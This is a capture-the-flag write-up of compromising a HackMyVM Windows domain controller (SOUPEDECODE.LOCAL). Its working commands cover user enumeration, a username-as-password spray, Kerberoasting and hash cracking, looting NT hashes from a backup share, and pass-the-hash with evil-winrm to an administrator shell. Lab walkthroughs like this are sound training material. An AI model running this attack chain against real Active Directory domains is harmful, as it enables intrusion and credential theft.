DC01¶
| Platform | HackMyVM |
|---|---|
| OS | Windows Server (Domain Controller) |
| Difficulty | Easy |
| Initial Vector | Password Spray (username = password) → SMB access |
| Privesc | Kerberoasting → Backup share loot → Pass-the-Hash (machine account) |
Information Gathering¶
I started by discovering live hosts on the local subnet to confirm the target's address before launching any focused scans.
nmap -sn 10.0.2.0/24
The DC was identified at 10.0.2.4. I then ran a full TCP port scan with service detection and default scripts to map the attack surface.
nmap -p- -sV -sC --min-rate 5000 10.0.2.4 -n -Pn
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-13 02:05:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49732/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows
The open ports painted a clear AD picture: DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), and WinRM (5985). WinRM is particularly noteworthy as a lateral movement target once valid credentials are in hand. The scan also revealed SMB signing set to required, which rules out relay attacks against this host. The ~2-hour clock skew between my machine and the DC was flagged immediately — Kerberos enforces a strict 5-minute tolerance, and this would need to be corrected before any TGS operations.
Initial Access¶
SMB Enumeration (Unauthenticated)¶
With SMB open, I probed for null session or guest access using a junk username and empty password to check what shares might be visible without credentials.
nxc smb DC01.SOUPEDECODE.LOCAL -u 'asdasd' -p '' --shares
smbclient //10.0.2.4/IPC$ -U SOUPEDECODE.LOCAL/guest
No actionable listing was returned from IPC$, but the host responded — confirming unauthenticated SMB probing was possible.
User Enumeration¶
Before spraying any passwords I needed a valid user list. I used two complementary techniques to build one.
Kerbrute enumerates valid domain usernames by sending AS-REQ packets and interpreting the Kerberos error response: a KDC_ERR_C_PRINCIPAL_UNKNOWN error means the user doesn't exist, while a KDC_ERR_PREAUTH_REQUIRED or a TGT response confirms a valid account — no credentials needed.
kerbrute userenum -d SOUPEDECODE.LOCAL --dc 10.0.2.4 \
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
To complement kerbrute, I also ran RID brute-forcing over SMB via NetExec. This technique cycles through Security Identifier (SID) RID values to resolve account names — effective even with a null/guest session on older or misconfigured hosts. I piped the output through awk to strip domain prefixes and metadata, yielding a clean one-per-line username file.
nxc smb DC01.SOUPEDECODE.LOCAL -u 'asdasd' -p '' --users --rid-brute \
| grep 'SidTypeUser' \
| awk -F'\\\\' '{print $2}' \
| awk '{print $1}' > users.txt
The first awk splits on the backslash separator to isolate the username portion; the second strips trailing metadata fields, leaving users.txt ready for spraying.
AS-REP Roasting¶
With a user list in hand, I checked whether any accounts had Kerberos pre-authentication disabled — a configuration that allows requesting TGT material without a password, leaving an offline-crackable hash exposed.
GetNPUsers.py -usersfile users.txt -request -dc-ip 10.0.2.4 'SOUPEDECODE.LOCAL/'
No accounts had UF_DONT_REQUIRE_PREAUTH set. AS-REP roasting yielded nothing here, so I moved to spraying.
Password Spray — Username as Password¶
I sprayed the username list against itself, pairing each account with its own username as the password. The --no-bruteforce flag tells NetExec to test each user only against their own matching credential, avoiding an MxN cartesian spray that would cause lockouts. --continue-on-success ensures enumeration doesn't stop at the first hit.
nxc smb DC01.SOUPEDECODE.LOCAL -u users.txt -p users.txt --no-bruteforce --continue-on-success
SMB 10.0.2.4 445 DC01 [+] SOUPEDECODE.LOCAL\ybob317:ybob317
Valid credentials obtained: ybob317 : ybob317.
SMB Access as ybob317 — User Flag¶
I authenticated to SMB with the recovered credentials and enumerated accessible shares.
nxc smb DC01.SOUPEDECODE.LOCAL -u 'ybob317' -p 'ybob317' --shares
I connected to the Users share and recursively downloaded all files from ybob317's profile directory.
smbclient //10.0.2.4/Users -U SOUPEDECODE.LOCAL/ybob317%ybob317
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
The retrieved files were primarily registry hive artifacts (NTUSER.DAT and associated transaction logs). NTUSER.DAT is the per-user registry hive and can be parsed offline for stored credentials or run-key artifacts using tools like pypykatz or impacket-secretsdump — nothing actionable surfaced here. The user flag was found on ybob317's desktop at C:\Users\ybob317\Desktop\user.txt.
Privilege Escalation¶
Kerberoasting¶
With valid domain credentials I moved to Kerberoasting — a technique that requests TGS tickets for any user account with a registered Service Principal Name (SPN). These tickets are encrypted with the service account's NTLM hash and can be cracked offline. The first attempt failed immediately due to the clock skew identified during the initial scan.
I corrected the clock before retrying. Disabling automatic NTP synchronization is required first — without it, any manual time adjustment is immediately overwritten by the system's time daemon.
# Disable automatic NTP sync so the manual correction holds
timedatectl set-ntp false
# Sync clock to the DC to satisfy Kerberos' 5-minute skew window
ntpdate -u 10.0.2.4
# Request TGS hashes for all Kerberoastable accounts
GetUserSPNs.py SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 10.0.2.4 -request
TGS tickets in $krb5tgs$23$ format were retrieved and saved to khashes.txt for offline cracking.
Hash Cracking¶
john khashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
The hash was cracked successfully. The cracked password belonged to the file_svc service account: file_svc : Password123!!.
Backup Share Enumeration as file_svc¶
I re-enumerated SMB with the file_svc credentials to check for shares inaccessible to ybob317.
nxc smb 10.0.2.4 -u 'file_svc' -p 'Password123!!' --shares
file_svc had read access to a non-default share: backup. I connected and retrieved the only file present.
smbclient //10.0.2.4/backup -U SOUPEDECODE.LOCAL/file_svc%'Password123!!'
smb: \> dir
backup_extract.txt A 892 Mon Jun 17 03:41:05 2024
backup_extract.txt contained domain account names paired with NTLM hashes, consistent with secretsdump.py output — essentially a partial dump of the NTDS database left on an accessible share. From an attacker's perspective this is immediately actionable: NT hashes can be passed directly without cracking. I split the file into backupUsers.txt and backupHashes.txt for spraying.
Pass-the-Hash → Root Shell¶
I tested the recovered NT hashes against all extracted usernames over SMB.
nxc smb 10.0.2.4 -u backupUsers.txt -H backupHashes.txt
A valid authentication hit came back for the machine account FileServer$. Machine accounts — AD computer objects identified by the trailing $ in their name — are often overlooked during post-exploitation enumeration, but they authenticate to the domain like any user account and can carry significant privileges if misconfigured. In this case, FileServer$ authenticated successfully and held sufficient privileges to reach the Administrator desktop, indicating a local administrator relationship with the DC.
I used the recovered NT hash to open a WinRM shell via evil-winrm. Pass-the-Hash works against WinRM because authentication is handled via NTLM under the hood, and the -H flag allows supplying the hash directly instead of a cleartext password.
evil-winrm -i 10.0.2.4 -u 'FileServer$' -H e41da7e79a4c76dbd9cf79d1cb325559
Shell obtained. I navigated to C:\Users\Administrator\Desktop\root.txt and retrieved the root flag.
Conclusion¶
- Host discovery via ping sweep identified the DC at
10.0.2.4; an Nmap scan confirmed a full AD port profile with WinRM and SMB exposed. - Unauthenticated SMB probing and dual-method user enumeration (Kerbrute + RID brute-force) produced a clean domain user list without triggering lockouts.
- AS-REP roasting yielded no results; a username-as-password spray hit ybob317 : ybob317, granting SMB access and the user flag.
- Kerberoasting (after resolving clock skew) returned a TGS hash for
file_svc; John cracked it to file_svc : Password123!!. file_svchad read access to abackupshare containingbackup_extract.txt— a plaintext dump of domain account NT hashes.- Pass-the-Hash testing across all recovered hashes authenticated the machine account
FileServer$; its NT hash was passed toevil-winrm, yielding an Administrator-level shell and the root flag.
The system fell because a combination of weak password hygiene (username-as-password, weak service account password) and insecure data handling (NTLM hash dump exposed on an SMB share accessible to a non-privileged service account) created a fully unauthenticated-to-domain-admin chain without ever needing to touch the DC's local disk.